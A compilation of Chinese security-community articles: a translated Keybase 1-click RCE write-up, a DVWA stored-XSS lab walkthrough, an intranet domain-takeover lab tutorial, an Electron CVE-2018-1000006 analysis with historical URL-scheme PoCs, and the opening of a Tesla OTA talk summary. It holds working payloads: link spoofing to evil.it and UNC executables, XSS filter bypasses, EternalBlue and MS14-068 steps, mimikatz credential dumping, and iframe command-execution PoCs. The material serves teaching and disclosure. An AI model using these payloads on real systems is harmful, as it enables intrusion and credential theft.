粘贴了多次payload后，keybase客户端显示，由于消息太长，此消息发送失败，请取消发送或重新编辑。
但
$>kb$eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly9zaGllbGRlci5pdCIsInVybCI6Imh0dHA6Ly9ldmlsLml0IiwicHVueWNvZGUiOiIifX0=$<kb$
字符串已经转化为`http://shielder.it`，点击URL会访问`http://evil.it`!!!!
在几秒钟的欣喜若狂之后，我意识到了令人不安的真相。
最妙的是，我还意识到，在[windows](https://www.microsoft.com/en-us/windows
"windows")客户端中，我可以通过将本地可执行文件的路径设置为url，或者将位于SMB服务器上的文件的路径设置为url来实现命令执行。
{“typ”:4,”link”:{“display”:”http://shielder.it”,”url”:”\\\\1.3.3.7\\tmp\\a.exe”,”punycode”:””}}
# 0.1337 XLM for RCE
payload在手，心不抖。我考虑keybase所有的功能，找到利用漏洞的绝佳位置。
这里就要用到了[Lumens](https://keybase.io/blog/keybase-stellar-launch "Lumens")!
Lumens是由[Stella](http://stellar.org/
"Stella")开发并完全集成在keybased客户端中的加密货币。用户可以轻松地发送/接收XLM，也可以在聊天中发送付款请求。
支付请求允许设置自定义消息，这就是漏洞利用的绝佳位置！
{“typ”:4,”link”:{“display”:”http://shielder.it”,”url”:”C:\\windows\\system32\\calc.exe”,”punycode”:””}}
# shell
一键式RCE get!只要用户点击我的链接，我就可以在他们的系统上执行任意命令。
# Bounty
与其他公司一样，keybase也有赏金计划，这是他们给我的回复
不幸的是有人在我之前报告了URL欺骗情况，但是这个人认为URL欺骗不能实现RCE。
然后我请求@maxtaco和@cjb与我分享keybase测试版，验证他们修复的版本是不是可以防止RCE。
## 具体修复措施
删除display字段
如果url”字段不是以`http（s）：//`开头，自动加上`http：//`。
即使没有得到赏金，我也愿意与Keybase合作，他们在整个漏洞报告以及修复的过程表现的非常专业。
原文：https://www.shielder.it/blog/1-click-rce-on-keybase/ | 社区文章 |
# 10.XSS(Stored)
## 1.XSS(Stored)(Low)
相关代码分析
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符，预定义字符包括、\t、\n、\x0B、\r以及空格，可选参数charlist支持添加额外需要删除的字符。
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号（\x00，\n，\r，\，'，"，\x1a）进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。
可以看到，对输入并没有做XSS方面的过滤与检查，且存储在数据库中，因此这里存在明显的存储型XSS漏洞。
漏洞利用
message一栏输入`<script>alert(/xss/)</script>`，成功弹框：
name一栏前端有字数限制，抓包改为`<script>alert(/name/)</script>`：
审查元素，修改长度限制
成功弹窗
## 2.XSS(Stored)(Medium)
相关代码分析
相关函数说明
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签，但允许使用 **标签。**
**
addslashes() 函数返回在预定义字符（单引号、双引号、反斜杠、NULL）之前添加反斜杠的字符串。
可以看到，由于对message参数使用了htmlspecialchars函数进行编码，因此无法再通过message参数注入XSS代码，但是对于name参数，只是简单过滤了`<script>`字符串，仍然存在存储型的XSS。
1.双写绕过
抓包改name参数为`<sc<script>ript>alert(/xss/)</script>`:
成功弹窗
2.大小写混淆绕过
抓包改name参数为`<Script>alert(/xss/)</script>`:
3.使用不带script标签的payload，鼠标移动到图片，触发弹窗
<img src=x onmouseover="alert(/xss/)">
也可以审查元素，修改长度限制
## 3.XSS(Stored)(High)
相关代码分析
可以看到，这里使用正则表达式过滤了`<script>`标签，但是却忽略了img、iframe等其它危险的标签，因此name参数依旧存在存储型XSS。
抓包改name参数为
<img src=1 onerror=alert(1)>
成功弹窗
也可以审查元素，修改长度限制
## 4.XSS(Stored)(Impossible)
相关代码分析
通过使用htmlspecialchars函数，解决了XSS，但是要注意的是，如果htmlspecialchars函数使用不当，攻击者就可以通过编码的方式绕过函数进行XSS注入，尤其是DOM型的XSS。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。
** | 社区文章 |
> 声明：本文介绍的技术仅供网络安全技术人员及白帽子使用，任何个人或组织不可传播使用相关技术及工具从事违法犯罪行为，一经发现直接上报国家安全机关处理
资源连接
: 链接：<https://pan.baidu.com/s/16W3APIySbxXiseJ57RPScw>
提取码：xcnd
# 渗透要求及工具：
要求
: 内存8G以上，需要五台虚拟机全开
目标
: 最终拿到ser-dc1的域控权限
工具
: [菜刀](https://download.csdn.net/download/weixin_45728976/12171378)
[QuarksPwDump.exe](https://download.csdn.net/download/weixin_45728976/12251497)
kali
[ms14068](https://download.csdn.net/download/weixin_45728976/12294879)
线索
: 公网IP：192.168.100.50
思路
: 1. dmz区 cms漏洞getshell，破解windows administrator密码
1. 通过http代理和ew两种代理方式，对office进行扫描，并探测ms17010漏洞
2. 通过抓取当前系统明文密码
通过上传mimikatz 和 powershell 加载mimikatz两种方式进行提取
3. 通过office区代理，探测域控
4. 通过ms14068伪造域管权限对域控进行攻击
5. 通过之前破解的linux区的密码测试域控弱口令进行攻击
6. 通过at，sc，psexec 等几种方式对域控进行攻击
7. 通过mimikatz 和 vssown两种方式提取域hash
# 环境搭建：
将下载好的文件解压然后虚拟机打开此文件夹，分别导入四台靶机并开机
将物理机的VMnet8网络地址改为192.168.100.1
将物理机的VMnet19网络地址改为192.168.200.1
完成后在浏览器中输入192.168.100.50即可访问该网站，渗透之路由此开始
# 渗透过程：
## 1、信息搜集
在网站底部看到是MetInfo 5.0.4 的网站管理系统
百度到metinfo后台是admin，账号也是admin然后试了下弱密码admin123成功登录
发现了一个上传点但是不能绕过，只能百度metinfo5.0.4的漏洞
找到了漏洞利用方法，文章链接<https://blog.csdn.net/key_book/article/details/80604830>
打開PHPstudy利用html文件上传一句话木马
修改ip后php文件成功上传
該文件也能访问得到
## 2、获取webshell
然后用菜刀连接，打开终端whoami查看权限是system，然后使用QuarksPwDump.exe获取管理员密码，具体方法请参照[此文章](https://admin-root.blog.csdn.net/article/details/104834501)
在cmd5中解密
然后使用代理工具反向连接，具体方法请参照[此文章](https://admin-root.blog.csdn.net/article/details/104970987)开启3389端口借助代理远程连接，具体方法请参照[此文章](https://admin-root.blog.csdn.net/article/details/105042048)
## 3、攻击office区
上传ip扫描工具，扫到192.168.1.102的一台机器
然后nmap扫描看看开了哪些端口
挂代理用msfconsole攻击win7
輸入`use exploit/windows/smb/ms17_010_eternalblue`使用17010漏洞攻击，填好目标ip和攻击者ip即可
成功后就会进入到meterpreter，由于环境问题攻击win7的部分就演示到这里，下面直接进入从win7拿域控权限
## 4、域内信息搜集
首先`whoami`看自己是否处在域环境
然后`ipconfig /all`看到域名与域控ip
ping这个ip拿到域控主机名
我们可以输入`nltest /dsgetdc:hacker /server:10.1.1.3`核实一下信息
输入`net user /domain`查看所有的域用户
输入`net group "domain admins" /domain`获取域管理员列表
輸入`net group "domain controllers" /domain`查看域控制器(如果有多台)
`net group "domain computers" /domain`杳看域机,器
`net group /domain`查询域里面的组
`net view`查看同一-域内机器列表`net view \\10.1.1.3`与`net view
\\WIN-0N3ST0ESE8L`查看某机器共享资源列表`net view /domain`查看内网存在多少个域
`whoami /all`获取SID
通过`tasklist /v`查看进程用户，如果有域用户启的进程，则凭证窃取
输入`klist`查看票据
如果有就输入`klist purge`清除
上传工具并进入目录
## 5、拿域控
输入`14068py.exe -u [email protected] -p "123.com" -s
S-1-5-21-1854149318-4101476522-1845767379-1107 -d
WIN-0N3ST0ESE8L.hacker.com`获取票据凭证，命令中的信息替换成前期搜集到的，然后当前目录会生成一个文件将文件名复制
输入`mimikatz.exe "kerberos::ptc [email protected]" exit`生成票据
`klist`查看数量为一则成功，输入`dir \\WIN-0N3ST0ESE8L.hacker.com\c$`即可查看域控机的共享目录，成功拿到域控
## 6、导出域hash
### 方法一：使用mimikatz软件
进入mimikatz交互模式
输入`lsadump::dcsync /domain:hacker.com /user:administrator
/csv`获取域管的hash，换其他用户名即可获取其他用户hash
### 方法二：使用at计划任务结合mimikatz直接获取明文密码
输入`copy mimikatz.ese \\WIN-0N3ST0ESE8L.hacker.com\c$`分别将这三个文件上传到目标服务器的c盘
在同目录下创建1.bat文件，内容为`mimikatz.exe privilege::debug sekurlsa::logonpasswords
exit>1.txt`
輸入`at \\WIN-0N3ST0ESE8L.hacker.com 19:37
\\WIN-0N3ST0ESE8L.hacker.com\c$\1.bat`创建计划任务执行bat文件，注意时间一定要掌握好
等时间到了以后输入`type \\WIN-0N3ST0ESE8L.hacker.com\c$\1.txt`即可在生成的文件中看到获取的明文密码
最後别忘了擦屁股将所有文件全部删除 | 社区文章 |
来源：[先知安全技术社区](https://xianzhi.aliyun.com/forum/topic/1994?from=timeline&isappinstalled=0
"先知安全技术社区")
作者：菜丝@蚂蚁金服巴斯光年实验室
Electron 是一款基于 Web 技术（HTML5 + Javascript + css）构建图形界面的开发框架，基于 nodejs 和
Chromium 开发。因为无痛兼容 nodejs 包管理（npm）的大量功能丰富的模块，相对于 native
实现降低了开发难度和迭代成本，受到了开发者的青睐。
#### 漏洞描述
Electron 近日发布了漏洞 [CVE-2018-1000006](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000006)
的安全公告：<https://electronjs.org/blog/protocol-handler-fix>
这是一个远程命令执行漏洞。在受影响的应用注册了自定义 url 协议之后，攻击者可以利用这些伪协议，在浏览器等场景中远程通过恶意的 url
传递命令行参数执行任意命令，最终完全控制受害者的计算机。由于其利用方式简单粗暴，执行效果理想，是一个危害很大的漏洞。
由于 Electron 的流行，受影响的软件甚至包括 Atom 编辑器, GitHub 客户端, VSCode 编辑器, Slack 客户端这样用户颇多的
Windows 桌面应用。
Electron 官方公告建议升级至如下修订版本（或更高）以获得补丁：
* [1.8.2-beta.4](https://github.com/electron/electron/releases/tag/v1.8.2-beta.4)
* [1.7.11](https://github.com/electron/electron/releases/tag/v1.7.11)
* [1.6.16](https://github.com/electron/electron/releases/tag/v1.6.16)
如果暂时不能更新框架版本，那么应该在使用
[app.setAsDefaultProtocolClient](https://electronjs.org/docs/api/app#appsetasdefaultprotocolclientprotocol-path-args-macos-windows) api 的时候将用户可控参数放置于 "--" 之后：
app.setAsDefaultProtocolClient(protocol, process.execPath, [
'--your-switches-here',
'--'
])
#### 漏洞成因
Electron 支持注册自定义 url 协议，浏览器可通过伪协议这种 IPC 方式唤起本地的应用。例如 VSCode 编辑器就注册了 `vscode:`
这一伪协议，在浏览器中安装插件时可以直接点击跳转到 VSCode 的界面：
在 Windows、macOS 以及某些 Linux 桌面环境上都对这种功能提供了原生支持。这次出现远程命令注入的漏洞仅限于 Windows 平台，是因为与
Win32 应用注册 url scheme 和调用的机制有关。
先了解一下 Windows 下的伪协议。微软的 MSDN 对其的介绍文章：[Registering an Application to a URI
Scheme](https://msdn.microsoft.com/en-us/library/aa767914%28v=vs.85%29.aspx)
假设需要注册一个名为 `alert:` 的协议关联到 alert.exe 打开，在 Windows 中需要创建如下的注册表项结构：
HKEY_CLASSES_ROOT
alert
(Default) = "URL:Alert Protocol"
URL Protocol = ""
DefaultIcon
(Default) = "alert.exe,1"
shell
open
command
(Default) = "C:\Program Files\Alert\alert.exe" "%1"
命令行中的 %1 表示占位符，也就是通过 argv 将 url 作为参数传递给目标程序。之所以需要双引号，是为了避免参数中存在空格，导致
`CommandLineToArgvW` 函数错误地将文件名拆分成多个部分。
应用可以自行在安装包中创建注册表项，此外 Electron 提供了一个 API
[app.setAsDefaultProtocolClient(protocol[, path,
args])](https://electronjs.org/docs/api/app#appsetasdefaultprotocolclientprotocol-path-args-macos-windows) 来实现注册。
如果 `alert.exe` 没有运行，打开 alert: 协议 url 将会通过命令行执行 alert.exe：
`"C:\Program Files\Alert\alert.exe" "alert:Hello%20World"`
Internet Explorer 在执行命令行的时候会先对 url 进行一次 url decode 解码。
HKEY_CLASSES_ROOT 下不仅保存了伪协议的列表，还有文件扩展名的关联数据。事实上 Win32 程序处理本地文件和 url
的打开是类似的，甚至可以使用同一套 Win32 API —— ShellExecute(Ex) 。算上 ANSI 和 Unicode 的版本，一共 4
个函数。
打开一个本地文件：
`ShellExecuteW(NULL, L"open", L"c:\\hello.txt", NULL, NULL , SW_SHOW );`
通过系统默认浏览器访问淘宝：
`ShellExecuteW(NULL, L"open", L"https://www.taobao.com", NULL, NULL , SW_SHOW
);`
可以看到除了 lpFile 之外其他参数可以保持完全一致。ShellExecuteExW 也是类似的情况。
ShellExecute 系列函数在这里埋了两个坑。 **首先是可能存在开发者原本打算传入
url，却被解析成本地路径而变成打开文件甚至运行可执行文件；其次是关联命令行里包裹参数 "%1" 的双引号竟然是可以被闭合掉的。**
在 MSDN 中直接说明了闭合引号这一行为：
> To mitigate this issue:
>
> * Avoid spaces, quotes, or backslashes in your URI
> * Quote the %1 in the registration ("%1" as written in the 'alert' example
> registration) However, avoidance doesn't completely solve the problem of
> quotes in the URI or a backslash at the end of the URI.
>
再回到注册表关联的字符串部分。既然可以用双引号闭合 "%1"，这意味着可以通过伪造 argv 来向应用程序插入多个参数开关。
例如 `alert:1" --this-is-the-new "what`
最终创建的命令行变成了：
"C:\Program Files\Alert\alert.exe" "alert:1" --this-is-the-new "what"
Electron 生成的应用发行包包括两部分——预编译好的 Electron 运行时和应用本身的 Web 资源文件打包（*.asar）。由于
Electron 基于 Chromium 开发，一些 Chromium 的命令行开关对于 Electron 的主执行文件同样起作用。
Chromium 支持的命令行开关如下：
* <https://www.chromium.org/developers/how-tos/run-chromium-with-flags>
* <https://peter.sh/experiments/chromium-command-line-switches/>
Chromium 默认使用多进程模式。渲染器、插件进程的路径和参数可以在 Chromium 命令开关中自定义。CVE-2018-1000006 公开的
poc 利用的是 --gpu-launcher，经过巴斯光年实验室的分析，以下参数均支持执行任意命令：
* \--renderer-cmd-prefix
* \--gpu-launcher
* \--utility-cmd-prefix
* \--ppapi-plugin-launcher
* \--nacl-gdb
* \--ppapi-flash-path 和 --ppapi-flash-args
这意味着闭合引号之后，我们可以在 url 中直接注入命令执行。当然，如果嫌弃 gpu 进程和 renderer 进程的沙箱，我们还有 `--no-sandbox` 。
#### 补丁分析
官方提供的补丁如下：
<https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c>
+ if (!atom::CheckCommandLineArguments(arguments.argc, arguments.argv))
+ return -1;
在启动之后增加了对命令行参数的检查，使用一个庞大的黑名单来屏蔽 Chromium 的参数开关：
<https://github.com/electron/electron/blob/c49cb29ddf3368daf279bd60c007f9c015bc834c/atom/app/command_line_args.cc>
然后在 atom/browser/atom_browser_client.cc 中增加了对子进程路径的检查：
<https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c#diff-fb76da0c9cc2defc5c9fa23dd04d5327R241>
+ // Make sure we're about to launch a known executable
+ base::FilePath child_path;
+ PathService::Get(content::CHILD_PROCESS_EXE, &child_path);
+ CHECK(base::MakeAbsoluteFilePath(command_line->GetProgram()) == child_path);
+
尝试启动非法的外部程序将导致异常退出。
此外对于官方给出的临时解决措施，其实也正是 Chromium 本身防止参数注入的办法，即在 “--” 开关之后出现的类似 --no-sandbox
参数将视作文件名处理。
#### 漏洞考古
以下两个浏览器都是使用了 ShellExecute* 系 api 来打开外部 url scheme。
InternetExplorer 11
Breakpoint 3 hit
SHELL32!ShellExecuteExW:
00007ffc`6fad0ff0 48895c2408 mov qword ptr [rsp+8],rbx ss:00000072`e9eff790=0000000000000000
0:019> k
# Child-SP RetAddr Call Site
00 00000072`e9eff788 00007ffc`4b4e34fc SHELL32!ShellExecuteExW
01 00000072`e9eff790 00007ffc`4b1f3466 IEFRAME!CShellExecWithHandlerParams::Execute+0xbc
02 00000072`e9eff840 00007ffc`6e7dd544 IEFRAME!BrokerShellExecWithHandlerThreadProc+0x146
Chromium
[https://cs.chromium.org/chromium/src/chrome/browser/platform_util_win.cc?type=cs&sq=package:chromium&l=101](https://cs.chromium.org/chromium/src/chrome/browser/platform_util_win.cc?type=cs&sq=package:chromium&l=101)
if (reinterpret_cast<ULONG_PTR>(ShellExecuteA(NULL, "open",
escaped_url.c_str(), NULL, NULL,
SW_SHOWNORMAL)) <= 32) {
由于 Edge 是一个 UWP 应用，处理外部 url scheme 的方式发生了变化，在调用栈里不再出现 ShellExecute*，而换成了
`SHELL32!CDefFolderMenu::InvokeCommand`。
KERNEL32!CreateProcessWStub:
00007ffc`6ecae490 4c8bdc mov r11,rsp
0:007> k
# Child-SP RetAddr Call Site
00 00000018`474fe0b8 00007ffc`6d81b0f7 KERNEL32!CreateProcessWStub
......
0e 00000018`474fee30 00007ffc`568c2ad7 SHELL32!CDefFolderMenu::InvokeCommand+0x13e
0f 00000018`474ff1a0 00007ffc`565fca55 twinui!CExecuteItem::Execute+0x1ab [onecoreuap\shell\lib\executeitem\executeitem.cpp @ 351]
10 00000018`474ff220 00007ffc`565fa5c8 twinui!CBrokeredLauncher::CLaunchHelper::_LaunchShellItemWithOptionsAndVerb+0x19d [shell\twinui\associationlaunch\lib\launcher.cpp @ 2352]
11 00000018`474ff3a0 00007ffc`565fcef8 twinui!CBrokeredLauncher::CLaunchHelper::_ExecuteItem+0x28 [shell\twinui\associationlaunch\lib\launcher.cpp @ 2308]
12 00000018`474ff3e0 00007ffc`565fa046 twinui!CBrokeredLauncher::CLaunchHelper::_LaunchWithWarning+0x3c8 [shell\twinui\associationlaunch\lib\launcher.cpp @ 2267]
13 00000018`474ff490 00007ffc`565fa3c1 twinui!CBrokeredLauncher::CLaunchHelper::_DoLaunch+0x3e [shell\twinui\associationlaunch\lib\launcher.cpp @ 2210]
14 00000018`474ff4c0 00007ffc`565f48a4 twinui!CBrokeredLauncher::CLaunchHelper::_DoLaunchOrFallback+0x32d [shell\twinui\associationlaunch\lib\launcher.cpp @ 2064]
15 00000018`474ff580 00007ffc`565ee094 twinui!CBrokeredLauncher::CLaunchHelper::LaunchUri+0xd0 [shell\twinui\associationlaunch\lib\launcher.cpp @ 1084]
但经过简单测试，从 url 闭合引号这个行为同样存在。
Electron 的这个远程命令注入漏洞罪魁祸首应该是 ShellExecute _埋下的坑。实际上被坑过的客户端软件远不止这个，甚至
ShellExecute_ 自身在处理字符串时也出现过严重漏洞。
##### MS07-061 (CVE-2007-3896)
早在 10 年前就有这样的漏洞，通过浏览器点击链接却执行了任意命令：<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-061>
> A remote code execution vulnerability exists in the way that the Windows
> shell handles specially crafted URIs that are passed to it. If the Windows
> shell did not sufficiently validate these URIs, an attacker could exploit
> this vulnerability and execute arbitrary code.
公告没有给出利用详情。不过根据另一份来自 TrendMicro 的公告，CVE-2007-3896, CVE-2007-3845 都是
CVE-2007-4041 的变体：<https://www.trendmicro.com/vinfo/id/threat-encyclopedia/vulnerability/920/multiple-browser-uri-handlers-command-injection-vulnerabilities>
CVE-2007-4041 的详情在这个 Firefox 浏览器的 issue：
<https://bugzilla.mozilla.org/show_bug.cgi?id=389580#c17>
可以看到多个测试用例，其中一个：
<a href="mailto:%../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat>Mailto:%</a>
因为 url 中的 "%" 导致解析错误，最终当做路径执行了命令。
##### MS10-007 (CVE-2010-0027)
2010 年类似的漏洞再次被发现：
<https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-007>
> The vulnerability could allow remote code execution if an application, such
> as a Web browser, passes specially crafted data to the ShellExecute API
> function through the Windows Shell Handler.
公告中明确提到漏洞的根本原因是 ShellExecute 函数未能正确地处理传入的 url，错误地把 url 类型当做路径处理。
公开的 poc 如下：
xyz://www.example.com#://../../C:/windows/system32/calc.exe
只要通过 ShellExecute* 调用即可触发。
##### CVE-2007-3670
这是一个 Firefox 浏览器伪协议的参数注入，影响 Firefox 和 ThunderBird。
<https://www.mozilla.org/en-US/security/advisories/mfsa2007-23/>
<https://bugzilla.mozilla.org/show_bug.cgi?id=384384>
Firefox 注册了一个 FirefoxURL: 协议：
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]
C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url “%1″ -requestPending
这篇文章的作者使用了引号闭合来注入任意参数
<http://larholm.com/2007/07/10/internet-explorer-0day-exploit/>
FirefoxURL://foo" --argument "my value
**看到 PoC 代码是不是非常眼熟？熟悉的引号闭合，熟悉的参数伪造。Electron 这个漏洞完全就是 10 年前 Firefox
曾经出现过的问题的复刻。**
最后通过 -chrome 参数注入的恶意脚本，利用 Firefox 特权域接口，可实现任意代码执行：
<html><body>
<iframe src=’firefoxurl://larholm.com” -chrome “javascript:C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+
String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+
String.fromCharCode(92)+'cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,['/k%20echo%20hello%20from%20larholm.com'],1);
'><
</body></html>
##### CVE-2007-3186
CVE-2007-3670 的作者还对当时的 Safari Windows 版做了另一个形式的利用：
<http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/>
<iframe src='myprotocol://someserver.com" < foo > bar | foobar "arg1'></iframe>
将会执行
"C:\Program Files\My Application\myprotocol.exe" "someserver.com" < foo > bar | foobar "arg1"
注意这个 poc 是相当过分了。在 Win32 Api 中无论是 CreateProcess _还是 ShellExecute_ 都是不支持管道符等 CMD
的特性的。唯一的解释就是，Safari 在打开外部 url 时使用了 system 函数！
同样地，作者还是使用了 -chrome 参数实现了对 Firefox 特权域的跨浏览器脚本攻击利用。
##### 某聊天软件命令执行
在 2012 年某即时通讯软件爆出一个远程命令执行漏洞，在修复前 poc 就被恶作剧式地传播开来：
漏洞成因极有可能是实现打开网址时没有为其加入 `http://` 前缀而直接传给了 ShellExecute
函数，导致域名被系统当成路径名，结合目录遍历技巧可执行程序安装盘符下任意命令。但由于可控的参数仅为 lpFile，无法增加其他参数开关（能够实现参数注入是
url 场景而不是本地文件），实际利用效果不理想。
时至今日，您仍然可以在 Windows 上通过一行代码复现这个问题：
ShellExecuteW(NULL, L"open", L"www.baidu.com..\\..\\", NULL, NULL, SW_SHOW);
代码将会打开一个资源管理器。将路径指向一个存在的可执行文件，可实现命令执行。
**小贴士**
不想装 VS 编译环境的，Windows 脚本宿主里有一个 COM 接口提供 ShellExecuteEx 的功能：
var objShell = new ActiveXObject("shell.application");
WScript.Echo("Attach me...");
objShell.ShellExecute("www.baidu.com..\\..\\", "", "", "open", 1);
想要测试 ShellExecute* 的诡异特性的，可以直接用这个脚本，或者干脆在开始菜单、运行里输入 url。
##### 某游戏客户端命令执行
在 HITB 2017 上，redrain 披露了一个某游戏客户端通过自定义 url scheme 执行命令的漏洞：[Attack Surface
Extended by URL
Schemes](https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf)
在这个伪协议的一个参数中，期望的输入类型是 http(s) 协议的网址。但开发者居然使用 `_mbsstr`
（是否包含子串）来判断网址的有效性，而不是检查字符串的前缀。
最后的利用通过返回上层路径的方式绕过了其中的关键字检测，成功执行任意路径可执行文件：
qqgameprotocol://shortcut/# URL=c:/windows/system32/http://qq.com/../../calc.exe ICON=3366xs.ico NAME=AAAAAAAA
DESC=BBBBB TYPE=1 START=1
又是一个 ShellExecute 留下的坑。
#### 寻找 url protocol
Android 下的 BROWSABLE 和 iOS 的 universal link
相信不少漏洞猎手和开发者已经很熟悉了，桌面端的关注度和资料相对少了一些。这大概是 Web 和移动端技术的迅猛发展带来的效应吧。
在分析 CVE-2018-1000006 的过程中就有人提问，如何寻找可用的伪协议。前文提到的一些资料里也出现了 macOS 下通过 url scheme
触发的安全问题。下面介绍一下如何枚举当前系统 url scheme 的方法。
早在 2009 年出版的 [Hacking: The Next
Generation](http://shop.oreilly.com/product/9780596154585.do) 一书中就提到了 url
scheme 在客户端软件中的攻击场景，并给出了三种平台（Windows、OS X、Linux）下枚举系统已注册伪协议的脚本（或程序）。
<https://www.safaribooksonline.com/library/view/hacking-the-next/9780596806309/ch04.html>
需要指出的是，书中提到 OSX 传递 url 参数使用了命令行，但目前 macOS 桌面应用传递 url scheme 使用的是 Apple Event：
-(void)applicationWillFinishLaunching:(NSNotification *)aNotification
{
NSAppleEventManager *appleEventManager = [NSAppleEventManager sharedAppleEventManager];
[appleEventManager setEventHandler:self
andSelector:@selector(handleGetURLEvent:withReplyEvent:)
forEventClass:kInternetEventClass andEventID:kAEGetURL];
}
- (void)handleGetURLEvent:(NSAppleEventDescriptor *)event withReplyEvent:(NSAppleEventDescriptor *)replyEvent
{
NSURL *url = [NSURL URLWithString:[[event paramDescriptorForKeyword:keyDirectObject] stringValue]];
// handle it
}
书中提供的 vbs 脚本还可以工作，但 mac 版本需要稍作修改才能通过编译。
在此提供一个可用的版本：
<https://github.com/ChiChou/LookForSchemes/blob/master/schemes.m>
/*
to compile: clang -fmodules schemes.m -o schemes
then run `./schemes`
*/
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
extern OSStatus _LSCopySchemesAndHandlerURLs(CFArrayRef *outSchemes, CFArrayRef *outApps);
extern OSStatus _LSCopyAllApplicationURLs(CFArrayRef *theList);
int main(int argc, const char * argv[]) {
@autoreleasepool {
CFArrayRef schemes;
CFArrayRef apps;
NSWorkspace *workspace = [NSWorkspace sharedWorkspace];
_LSCopySchemesAndHandlerURLs(&schemes, &apps);
for (CFIndex i = 0, count = CFArrayGetCount(schemes); i < count; i++) {
CFStringRef scheme = CFArrayGetValueAtIndex(schemes, i);
CFArrayRef handlers = LSCopyAllHandlersForURLScheme(scheme);
NSLog(@"%@:", scheme);
for (CFIndex j = 0, bundle_count = CFArrayGetCount(handlers); j < bundle_count; j++) {
CFStringRef handler = CFArrayGetValueAtIndex(handlers, j);
NSLog(@"\t%@ (%@)", handler, [workspace absolutePathForAppBundleWithIdentifier:(__bridge NSString *)handler]);
}
}
NSLog(@"\n");
}
return 0;
}
Windows 版也重写了一个，篇幅所限完整代码请到 GitHub 获取：
<https://github.com/ChiChou/LookForSchemes/blob/master/AppSchemes.cpp>
可以看到不少有趣的 url：
而他们会不会有新的漏洞呢？
#### 参考资料
[1]. [Registering an Application to a URI
Scheme](https://msdn.microsoft.com/en-us/library/aa767914%28v=vs.85%29.aspx)
[2]. [About Dynamic Data Exchange](https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774%28v=vs.85%29.aspx)
[3]. [Microsoft Security Bulletin MS07-061 -Critical](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2007/ms07-061)
[4]. <https://www.trendmicro.com/vinfo/id/threat-encyclopedia/vulnerability/920/multiple-browser-uri-handlers-command-injection-vulnerabilities>
[5]. [Microsoft Security Bulletin MS10-007 -Critical](https://technet.microsoft.com/library/security/ms10-007)
[6]. [URI Use and Abuse](https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf)
[7]. [Attack Surface Extended by URL
Schemes](https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf)
* * * | 社区文章 |
作者：[腾讯科恩实验室](https://mp.weixin.qq.com/s/LFh5cxWKt0ev7E2OA_5_0g "腾讯科恩实验室")
#### 背景介绍
OTA（Over-The-Air）是汽车行业智能网联变革的核心能力之一。本次Black Hat USA
2018上，腾讯科恩实验室带来了2017年对特斯拉具备的先进OTA功能相关的安全研究成果。本成果对于促进汽车行业安全稳定落地智能网联化具有重大积极作用，同时本次议题也是全球首次涉及对汽车先进驾驶辅助系统（ADAS，特斯拉相关系统名为：Autopolit）的信息安全研究成果披露。更多详细信息请关注腾讯科恩实验室官方微信号：KeenSecurityLab，并回复“车联网安全”即可获得此次研究技术细节白皮书。
#### 议题概要
腾讯安全科恩实验室在2016年和2017年，在避免物理接触汽车的远程攻击场景下，连续两年针对特斯拉Model S和Model
X进行了攻击测试。在去年举办的Black Hat
USA大会上，科恩实验室的研究人员介绍了2016年特斯拉公司对其研究成果的致谢中所包含的具体细节，并向与会者展示了一系列Tesla汽车的安全漏洞，获得了与会者的好评。此外，借助灯光舞蹈秀的形式展示了利用2017年发现的另一批漏洞攻击的威力，但相关漏洞的细节并未公布。今年，该议题将会进一步介绍2017年彩蛋视频背后涉及到的技术细节。除了介绍特斯拉的由云端主导的空中升级（OTA）机制，并展示一些攻击链中开发的新技术外，该议题还将着重介绍测试过程中发现的多个严重的安全漏洞。
#### 作者简介
刘令，腾讯科恩实验室研究员，专注于逆向工程、漏洞挖掘、漏洞研究等技术，多次参与特斯拉等汽车的安全研究。曾在QEMU和XEN中发现多个虚拟化漏洞，同时也是一名CTF爱好者。
张文凯，腾讯科恩实验室研究员，多次参与特斯拉、宝马等汽车安全研究项目，主要负责汽车CAN网络和汽车固件分析工作，有丰富的嵌入式系统软件开发经验，熟悉ECU设计过程和汽车CAN网络结构。
杜岳峰，腾讯科恩实验室研究员，多次参与特斯拉汽车安全研究，对逆向工程和恶意软件分析领域有着浓厚的兴趣。
#### 议题解析
在今年的Black Hat
